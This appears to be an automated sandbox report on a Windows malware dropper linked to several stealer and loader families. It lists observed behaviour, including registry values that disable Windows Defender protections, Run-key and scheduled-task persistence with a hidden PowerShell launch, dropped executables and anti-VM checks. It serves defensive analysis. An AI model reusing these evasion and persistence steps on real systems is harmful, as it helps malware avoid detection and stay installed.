Malware Analysis Report

2025-08-05 16:13

Sample ID 231026-h2rmmsec98
Target bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4
SHA256 bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4
Tags
amadey dcrat glupteba raccoon redline smokeloader 6a6a005b9aa778f606280c5fa24ae595 grome kinza up3 backdoor discovery dropper evasion infostealer loader persistence rat stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4

Threat Level: Known bad

The file bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4 was found to be: Known bad.

Malicious Activity Summary

amadey dcrat glupteba raccoon redline smokeloader 6a6a005b9aa778f606280c5fa24ae595 grome kinza up3 backdoor discovery dropper evasion infostealer loader persistence rat stealer trojan

Raccoon

Suspicious use of NtCreateUserProcessOtherParentProcess

Raccoon Stealer payload

RedLine

Glupteba

DcRat

Amadey

Modifies Windows Defender Real-time Protection settings

SmokeLoader

RedLine payload

Glupteba payload

Downloads MZ/PE file

Stops running service(s)

Drops file in Drivers directory

Modifies Windows Firewall

Windows security modification

Loads dropped DLL

Executes dropped EXE

Checks computer location settings

Checks BIOS information in registry

Checks installed software on the system

Legitimate hosting services abused for malware hosting/C2

Adds Run key to start application

Suspicious use of SetThreadContext

Drops file in System32 directory

Checks for VirtualBox DLLs, possible anti-VM trick

Drops file in Windows directory

Launches sc.exe

Drops file in Program Files directory

Program crash

Unsigned PE

Enumerates physical storage devices

Enumerates system info in registry

Suspicious behavior: GetForegroundWindowSpam

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of UnmapMainImage

Checks SCSI registry key(s)

Creates scheduled task(s)

Modifies data under HKEY_USERS

Suspicious use of AdjustPrivilegeToken

Uses Task Scheduler COM API

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious behavior: MapViewOfSection

Suspicious use of SendNotifyMessage

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-10-26 07:14

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-10-26 07:14

Reported

2023-10-26 07:17

Platform

win10v2004-20231023-en

Max time kernel

119s

Max time network

161s

Command Line

C:\Windows\Explorer.EXE

Signatures

Amadey

trojan amadey

DcRat

rat infostealer dcrat
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\4545.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\4545.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\4545.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\4545.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\4545.exe N/A

Raccoon

stealer raccoon

Raccoon Stealer payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

SmokeLoader

trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 3020 created 3320 N/A C:\Windows\SYSTEM32\schtasks.exe C:\Windows\Explorer.EXE
PID 3020 created 3320 N/A C:\Windows\SYSTEM32\schtasks.exe C:\Windows\Explorer.EXE
PID 3020 created 3320 N/A C:\Windows\SYSTEM32\schtasks.exe C:\Windows\Explorer.EXE
PID 3020 created 3320 N/A C:\Windows\SYSTEM32\schtasks.exe C:\Windows\Explorer.EXE
PID 3020 created 3320 N/A C:\Windows\SYSTEM32\schtasks.exe C:\Windows\Explorer.EXE

Downloads MZ/PE file

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\System32\drivers\etc\hosts C:\Windows\SYSTEM32\schtasks.exe N/A

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Stops running service(s)

evasion

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7zSCD5D.tmp\Install.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5RR0Jt9.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BEAF.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7zSCD5D.tmp\Install.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5RR0Jt9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Yt1Fo5.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7lO5iB92.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\40DC.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\4189.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jo0qJ2CP.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\SZ6Uv0Ql.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\4479.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yB8RE0ZD.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\4545.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\ee9qf2gz.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1nB52wS1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\4863.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\4A78.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2ma938tn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BEAF.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\C18E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\C2E7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zSCB98.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\latestX.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\D278.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zSCD5D.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
N/A N/A C:\Program Files (x86)\Drive Tools\zDriveTools.exe N/A
N/A N/A C:\Program Files (x86)\Drive Tools\zDriveTools.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\28C7.exe N/A
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
N/A N/A C:\Windows\rss\csrss.exe N/A

Windows security modification

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\4545.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup5 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\C18E.exe'\"" C:\Users\Admin\AppData\Local\Temp\C18E.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\40DC.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yB8RE0ZD.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\SZ6Uv0Ql.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\ee9qf2gz.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jo0qJ2CP.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A

Checks installed software on the system

discovery

Legitimate hosting services abused for malware hosting/C2

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\system32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\7zSCD5D.tmp\Install.exe N/A

Checks for VirtualBox DLLs, possible anti-VM trick

Description Indicator Process Target
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Drive Tools\is-6VBEE.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-7AL62.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-HUI1A.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-3H2O8.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-BEHVH.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-S5FIQ.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-0D7CV.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-3V80J.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File opened for modification C:\Program Files (x86)\Drive Tools\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File opened for modification C:\Program Files (x86)\Drive Tools\zDriveTools.exe C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files\Google\Chrome\updater.exe C:\Windows\SYSTEM32\schtasks.exe N/A
File created C:\Program Files (x86)\Drive Tools\is-ENDLG.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-77MMS.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-JNQFC.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-LPEMU.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-0Q3AG.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-77MF5.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-DS177.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-6QFNO.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-I5EUQ.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\Lang\is-CDNMV.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-RJSU5.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-QOA4P.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A
File created C:\Program Files (x86)\Drive Tools\is-E1F1I.tmp C:\Users\Admin\AppData\Local\Temp\is-28T1A.tmp\LzmwAqmV.tmp N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Wanugegulaho milorahaxah mosuraxupib rusekutokefod bopujune C:\Users\Admin\AppData\Local\Temp\4A78.exe N/A
File created C:\Windows\Tasks\bwpFiyeZPJPVdaMxTt.job C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe N/A
File opened for modification C:\Windows\rss C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
File created C:\Windows\rss\csrss.exe C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\AppData\Local\Temp\7zSCD5D.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Users\Admin\AppData\Local\Temp\7zSCD5D.tmp\Install.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
